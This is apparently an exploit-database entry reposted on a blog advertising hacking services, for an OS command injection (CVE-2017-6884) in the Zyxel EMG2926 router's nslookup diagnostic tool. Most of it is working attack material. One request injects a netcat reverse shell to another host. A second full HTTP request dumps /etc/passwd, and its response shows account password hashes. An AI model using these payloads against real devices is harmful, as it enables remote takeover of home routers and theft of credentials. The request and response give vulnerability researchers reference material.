Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863569679

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Zyxel, EMG2926 < V1.00(AAQT.4)b8 - OS Command Injection
# Date: 2017-04-02
# Exploit Author: Fluffy Huffy (trevor Hough)
# Vendor Homepage: www.zyxel.com
# Version: EMG2926 - V1.00(AAQT.4)b8
# Tested on: linux
# CVE : CVE-2017-6884

OS command injection vulnerability was discovered in a commonly used
home router (zyxel - EMG2926 - V1.00(AAQT.4)b8). The vulnerability is located in the diagnostic tools
specify the nslookup function. A malicious user may exploit numerous
vectors to execute arbitrary commands on the router.

Exploit (Reverse Shell)
https://192.168.0.1/cgi-bin/luci/;stok=redacted/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&
ping_ip=google.ca%20%3B%20nc%20192.168.0.189%204040%20-e%20/p

Exploit (Dump Password File)
Request
GET /cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca%3b%20cat%20/etc/passwd&server_ip= HTTP/1.1
Host: 192.168.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.0.1/cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup
Accept-Language: en-US,en;q=0.8
Cookie: csd=9; sysauth=<Clipped>
Connection: close

Response (Clipped)
<textarea cols="80" rows="15" readonly="true">root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
supervisor:$1$RM8l7snU$KW2C58L2Ijt0th1ThR70q0:0:0:supervisor:/:/bin/ash
admin:$1$<Clipped>:0:0:admin:/:/bin/fail